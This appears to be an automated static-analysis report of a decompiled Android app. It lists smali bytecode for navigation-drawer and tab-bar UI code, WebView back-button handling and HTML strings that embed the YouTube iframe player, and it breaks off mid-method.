136if-eqz v0, :cond_e3
137move-object v0, p4
138check-cast v0, Lcom/mikepenz/a/d;
140invoke-interface {v0}, Lcom/mikepenz/a/d;->b()Lcom/mikepenz/a/b$c;
141move-result-object v0
142if-eqz v0, :cond_e3
143move-object v0, p4
144check-cast v0, Lcom/mikepenz/a/d;
146invoke-interface {v0}, Lcom/mikepenz/a/d;->b()Lcom/mikepenz/a/b$c;
147move-result-object v0
149iget-object v1, v2, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
151invoke-interface {v0, p1, v1, p4, p2}, Lcom/mikepenz/a/b$c;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
152move-result v0
153goto_cd: if-nez v0, :cond_e2
155iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
157invoke-static {v0}, Lcom/mikepenz/a/b;->e(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$c;
158move-result-object v0
159if-eqz v0, :cond_e2
161iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
163invoke-static {v0}, Lcom/mikepenz/a/b;->e(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$c;
164move-result-object v0
166iget-object v1, v2, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
168invoke-interface {v0, p1, v1, p4, p2}, Lcom/mikepenz/a/b$c;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
169cond_e2: return-void
170cond_e3: move v0, v1
171goto/16 :goto_cd
APIs
  • com.mikepenz.materialdrawer.b.a$a.<init>
Strings
  • mdf_arrow_drop_down
  • mdf_arrow_drop_up
  • mdf_expand_less
  • mdf_expand_more
  • mdf_person
Position Instruction Meta Information
0.prologue
1const/4 v7, 0x4
2const/4 v6, 0x3
3const/4 v5, 0x2
4const/4 v4, 0x1
5const/4 v3, 0x0
6new-instance v0, Lcom/mikepenz/materialdrawer/b/a$a;
8const-string v1, "mdf_arrow_drop_down"
9const v2, 0xe5c5
11invoke-direct {v0, v1, v3, v2}, Lcom/mikepenz/materialdrawer/b/a$a;-><init>(Ljava/lang/String;IC)V
  • Data flow analysis:
    • p0: mdf_arrow_drop_down
    • p1: 0
    • p2: 58821
12sput-object v0, Lcom/mikepenz/materialdrawer/b/a$a;->a:Lcom/mikepenz/materialdrawer/b/a$a;
13new-instance v0, Lcom/mikepenz/materialdrawer/b/a$a;
15const-string v1, "mdf_arrow_drop_up"
16const v2, 0xe5c7
18invoke-direct {v0, v1, v4, v2}, Lcom/mikepenz/materialdrawer/b/a$a;-><init>(Ljava/lang/String;IC)V
  • Data flow analysis:
    • p0: mdf_arrow_drop_up
    • p1: 1
    • p2: 58823
19sput-object v0, Lcom/mikepenz/materialdrawer/b/a$a;->b:Lcom/mikepenz/materialdrawer/b/a$a;
20new-instance v0, Lcom/mikepenz/materialdrawer/b/a$a;
22const-string v1, "mdf_expand_less"
23const v2, 0xe5ce
25invoke-direct {v0, v1, v5, v2}, Lcom/mikepenz/materialdrawer/b/a$a;-><init>(Ljava/lang/String;IC)V
  • Data flow analysis:
    • p0: mdf_expand_less
    • p1: 2
    • p2: 58830
26sput-object v0, Lcom/mikepenz/materialdrawer/b/a$a;->c:Lcom/mikepenz/materialdrawer/b/a$a;
27new-instance v0, Lcom/mikepenz/materialdrawer/b/a$a;
29const-string v1, "mdf_expand_more"
30const v2, 0xe5cf
32invoke-direct {v0, v1, v6, v2}, Lcom/mikepenz/materialdrawer/b/a$a;-><init>(Ljava/lang/String;IC)V
  • Data flow analysis:
    • p0: mdf_expand_more
    • p1: 3
    • p2: 58831
33sput-object v0, Lcom/mikepenz/materialdrawer/b/a$a;->d:Lcom/mikepenz/materialdrawer/b/a$a;
34new-instance v0, Lcom/mikepenz/materialdrawer/b/a$a;
36const-string v1, "mdf_person"
37const v2, 0xe7fd
39invoke-direct {v0, v1, v7, v2}, Lcom/mikepenz/materialdrawer/b/a$a;-><init>(Ljava/lang/String;IC)V
  • Data flow analysis:
    • p0: mdf_person
    • p1: 4
    • p2: 59389
40sput-object v0, Lcom/mikepenz/materialdrawer/b/a$a;->e:Lcom/mikepenz/materialdrawer/b/a$a;
41const/4 v0, 0x5
42new-array v0, v0, [Lcom/mikepenz/materialdrawer/b/a$a;
44sget-object v1, Lcom/mikepenz/materialdrawer/b/a$a;->a:Lcom/mikepenz/materialdrawer/b/a$a;
45aput-object v1, v0, v3
47sget-object v1, Lcom/mikepenz/materialdrawer/b/a$a;->b:Lcom/mikepenz/materialdrawer/b/a$a;
48aput-object v1, v0, v4
50sget-object v1, Lcom/mikepenz/materialdrawer/b/a$a;->c:Lcom/mikepenz/materialdrawer/b/a$a;
51aput-object v1, v0, v5
53sget-object v1, Lcom/mikepenz/materialdrawer/b/a$a;->d:Lcom/mikepenz/materialdrawer/b/a$a;
54aput-object v1, v0, v6
56sget-object v1, Lcom/mikepenz/materialdrawer/b/a$a;->e:Lcom/mikepenz/materialdrawer/b/a$a;
57aput-object v1, v0, v7
58sput-object v0, Lcom/mikepenz/materialdrawer/b/a$a;->h:[Lcom/mikepenz/materialdrawer/b/a$a;
59return-void
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.d
  • devlight.io.library.ntb.NavigationTabBar.getTranslationY
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.e
  • android.view.ViewGroup$MarginLayoutParams.setMargins
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.requestLayout
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
4invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
5move-result-object v0
6if-eqz v0, :cond_4d
8iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
10invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
11move-result-object v0
13invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
14move-result-object v0
15instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
16if-eqz v0, :cond_4d
18iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
20iget-object v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
22invoke-static {v1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->d(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
23move-result v1
25iget-object v2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->a:Ldevlight/io/library/ntb/NavigationTabBar;
27invoke-virtual {v2}, Ldevlight/io/library/ntb/NavigationTabBar;->getTranslationY()F
28move-result v2
29sub-float/2addr v1, v2
31invoke-static {v0, v1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Ldevlight/io/library/behavior/NavigationTabBarBehavior;F)F
33iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
35invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
36move-result-object v0
38invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
39move-result-object v0
40check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
41iget v1, v0, Landroid/view/ViewGroup$MarginLayoutParams;->leftMargin:I
42iget v2, v0, Landroid/view/ViewGroup$MarginLayoutParams;->topMargin:I
43iget v3, v0, Landroid/view/ViewGroup$MarginLayoutParams;->rightMargin:I
45iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
47invoke-static {v4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->e(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
48move-result v4
49float-to-int v4, v4
51invoke-virtual {v0, v1, v2, v3, v4}, Landroid/view/ViewGroup$MarginLayoutParams;->setMargins(IIII)V
53iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
55invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
56move-result-object v0
58invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->requestLayout()V
59cond_4d: return-void
Cross References
APIs
  • java.util.List.size
  • java.util.List.addAll
  • com.mikepenz.a.a.c.a
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.a.c.c
  • com.mikepenz.a.b.h
  • java.util.List.size
  • com.mikepenz.a.b.d
  • java.util.Collections.sort
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.j
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/List",
4"<TItem;>;)",
5"Lcom/mikepenz/a/a/c",
6"<TItem;>;"
7}
8.end annotation
9.prologue
10iget-boolean v0, p0, Lcom/mikepenz/a/a/c;->d:Z
11if-eqz v0, :cond_7
13invoke-static {p1}, Lcom/mikepenz/a/d/b;->a(Ljava/util/List;)Ljava/util/List;
14cond_7:
15iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
17invoke-interface {v0}, Ljava/util/List;->size()I
18move-result v0
20iget-object v1, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
22invoke-interface {v1, p1}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
24invoke-virtual {p0, p1}, Lcom/mikepenz/a/a/c;->a(Ljava/lang/Iterable;)V
26iget-object v1, p0, Lcom/mikepenz/a/a/c;->b:Ljava/util/Comparator;
27if-nez v1, :cond_32
29invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
30move-result-object v1
32invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
33move-result-object v2
35invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->c()I
36move-result v3
38invoke-virtual {v2, v3}, Lcom/mikepenz/a/b;->h(I)I
39move-result v2
40add-int/2addr v0, v2
42invoke-interface {p1}, Ljava/util/List;->size()I
43move-result v2
45invoke-virtual {v1, v0, v2}, Lcom/mikepenz/a/b;->d(II)V
46goto_31: return-object p0
47cond_32:
48iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
50iget-object v1, p0, Lcom/mikepenz/a/a/c;->b:Ljava/util/Comparator;
52invoke-static {v0, v1}, Ljava/util/Collections;->sort(Ljava/util/List;Ljava/util/Comparator;)V
54invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
55move-result-object v0
57invoke-virtual {v0}, Lcom/mikepenz/a/b;->j()V
58goto/16 :goto_31
APIs
  • android.support.v7.app.AppCompatActivity.onBackPressed
  • android.util.Log.d
  • java.lang.String.equals
  • android.support.v7.app.AppCompatActivity.onBackPressed
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
  • android.webkit.WebView.goBack
  • android.support.v7.app.AppCompatActivity.onBackPressed
Strings
  • Curr Url
  • https://m.youtube.com/
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/pedqaesf/app/INSMainActivity;->v:Z
2if-eqz v0, :cond_8
4invoke-super {p0}, Landroid/support/v7/app/AppCompatActivity;->onBackPressed()V
5goto_7: return-void
6cond_8:
7const-string v0, "Curr Url"
9iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->p:Ljava/lang/String;
11invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Curr Url
13iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->p:Ljava/lang/String;
15const-string v1, "https://m.youtube.com/"
17invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: https://m.youtube.com/
18move-result v0
19if-eqz v0, :cond_45
20iget-boolean v0, p0, Lcom/pedqaesf/app/INSMainActivity;->q:Z
21if-eqz v0, :cond_21
23invoke-super {p0}, Landroid/support/v7/app/AppCompatActivity;->onBackPressed()V
24goto/16 :goto_7
25cond_21: const/4 v0, 0x1
26iput-boolean v0, p0, Lcom/pedqaesf/app/INSMainActivity;->q:Z
27new-instance v0, Landroid/os/Handler;
29invoke-direct {v0}, Landroid/os/Handler;-><init>()V
30new-instance v1, Lcom/pedqaesf/app/INSMainActivity$2;
32invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$2;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
33const-wide/16 v2, 0x7d0
35invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 2000
36goto_33:
37iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->E:Lcom/mikepenz/materialdrawer/c;
38if-eqz v0, :cond_4b
40iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->E:Lcom/mikepenz/materialdrawer/c;
42invoke-virtual {v0}, Lcom/mikepenz/materialdrawer/c;->b()Z
43move-result v0
44if-eqz v0, :cond_4b
46iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->E:Lcom/mikepenz/materialdrawer/c;
48invoke-virtual {v0}, Lcom/mikepenz/materialdrawer/c;->a()V
49goto/16 :goto_7
50cond_45:
51iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
53invoke-virtual {v0}, Landroid/webkit/WebView;->goBack()V
54goto/16 :goto_33
55cond_4b:
56invoke-super {p0}, Landroid/support/v7/app/AppCompatActivity;->onBackPressed()V
57goto/16 :goto_7
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • <!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/
  • ?enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\"
  • \");\n }\n </script>\n\n</body>\n</html>
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
5const-string v1, "<!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/"
7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/
8move-result-object v0
10sget-object v1, Lcom/pedqaesf/app/a;->a:Ljava/lang/String;
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, "?enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\""
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ?enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\"
18move-result-object v0
20invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
21move-result-object v1
23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v0
26const-string v1, "\");\n }\n </script>\n\n</body>\n</html>"
28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \");\n }\n </script>\n\n</body>\n</html>
29move-result-object v0
31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v0
33return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • <!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/?list=
  • &enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\"
  • \");\n }\n </script>\n\n</body>\n</html>
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
5const-string v1, "<!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/?list="
7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/?list=
8move-result-object v0
10sget-object v1, Lcom/pedqaesf/app/a;->b:Ljava/lang/String;
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, "&enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\""
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\"
18move-result-object v0
20invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
21move-result-object v1
23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v0
26const-string v1, "\");\n }\n </script>\n\n</body>\n</html>"
28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \");\n }\n </script>\n\n</body>\n</html>
29move-result-object v0
31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v0
33return-object v0
APIs
  • android.app.Activity.onActivityResult
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Intent.setAction
  • com.pedqaesf.app.player.INSPlayerYouTubeView.startService
  • com.pedqaesf.app.player.INSPlayerYouTubeView.finish
Strings
  • VID_ID
  • PLAYLIST_ID
  • com.pedqaesf.app.ytube.action.playingweb
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
3new-instance v0, Landroid/content/Intent;
4const-class v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
6invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
8const-string v1, "VID_ID"
10iget-object v2, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
12invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: VID_ID
14const-string v1, "PLAYLIST_ID"
16iget-object v2, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
18invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: PLAYLIST_ID
20const-string v1, "com.pedqaesf.app.ytube.action.playingweb"
22invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.playingweb
24invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
26invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->finish()V
27return-void
Cross References
APIs
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.b.a
  • com.mikepenz.iconics.b.h
  • com.mikepenz.iconics.b.f
  • android.graphics.drawable.Drawable.mutate
  • android.graphics.drawable.Drawable.setColorFilter
  • android.support.v7.b.a.b.b
  • android.content.Context.getContentResolver
  • android.content.ContentResolver.openInputStream
  • android.net.Uri.toString
  • android.graphics.drawable.Drawable.createFromStream
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->b()Landroid/graphics/drawable/Drawable;
3move-result-object v0
5iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/d;->a:Lcom/mikepenz/iconics/b/a;
6if-eqz v1, :cond_2f
7new-instance v0, Lcom/mikepenz/iconics/b;
9iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/d;->a:Lcom/mikepenz/iconics/b/a;
11invoke-direct {v0, p1, v1}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;Lcom/mikepenz/iconics/b/a;)V
13invoke-virtual {v0, p2}, Lcom/mikepenz/iconics/b;->a(I)Lcom/mikepenz/iconics/b;
14move-result-object v0
15const/16 v1, 0x18
17invoke-virtual {v0, v1}, Lcom/mikepenz/iconics/b;->h(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 24
18move-result-object v0
20invoke-virtual {v0, p4}, Lcom/mikepenz/iconics/b;->f(I)Lcom/mikepenz/iconics/b;
21move-result-object v0
22goto_1d: if-eqz v0, :cond_2e
23if-eqz p3, :cond_2e
25iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/d;->a:Lcom/mikepenz/iconics/b/a;
26if-nez v1, :cond_2e
28invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
29move-result-object v0
31sget-object v1, Landroid/graphics/PorterDuff$Mode;->SRC_IN:Landroid/graphics/PorterDuff$Mode;
33invoke-virtual {v0, p2, v1}, Landroid/graphics/drawable/Drawable;->setColorFilter(ILandroid/graphics/PorterDuff$Mode;)V
34cond_2e: return-object v0
35cond_2f:
36invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->d()I
37move-result v1
38const/4 v2, -0x1
39if-eq v1, v2, :cond_3f
41invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->d()I
42move-result v0
44invoke-static {p1, v0}, Landroid/support/v7/b/a/b;->b(Landroid/content/Context;I)Landroid/graphics/drawable/Drawable;
45move-result-object v0
46goto/16 :goto_1d
47cond_3f:
48invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->a()Landroid/net/Uri;
49move-result-object v1
50if-eqz v1, :cond_1d
51try_start_45:
52invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
53move-result-object v1
55invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->a()Landroid/net/Uri;
56move-result-object v2
58invoke-virtual {v1, v2}, Landroid/content/ContentResolver;->openInputStream(Landroid/net/Uri;)Ljava/io/InputStream;
59move-result-object v1
61invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->a()Landroid/net/Uri;
62move-result-object v2
64invoke-virtual {v2}, Landroid/net/Uri;->toString()Ljava/lang/String;
65move-result-object v2
67invoke-static {v1, v2}, Landroid/graphics/drawable/Drawable;->createFromStream(Ljava/io/InputStream;Ljava/lang/String;)Landroid/graphics/drawable/Drawable;
68try_end_5c: move-result-object v0
69goto/16 :goto_1d
70catch_5e: move-exception v1
71goto/16 :goto_1d
Cross References
APIs
  • android.support.design.widget.Snackbar$SnackbarLayout.addOnLayoutChangeListener
  • android.view.View.getHeight
  • devlight.io.library.ntb.NavigationTabBar.getBarHeight
  • devlight.io.library.ntb.NavigationTabBar.getTranslationY
  • devlight.io.library.ntb.NavigationTabBar.bringToFront
  • android.view.View.setStateListAnimator
  • android.view.View.setElevation
  • android.view.View.getLayoutParams
  • android.view.ViewGroup$MarginLayoutParams.setMargins
  • android.view.View.requestLayout
Position Instruction Meta Information
0.prologue
1if-eqz p2, :cond_5b
2instance-of v0, p2, Landroid/support/design/widget/Snackbar$SnackbarLayout;
3if-eqz v0, :cond_5b
4move-object v0, p2
5check-cast v0, Landroid/support/design/widget/Snackbar$SnackbarLayout;
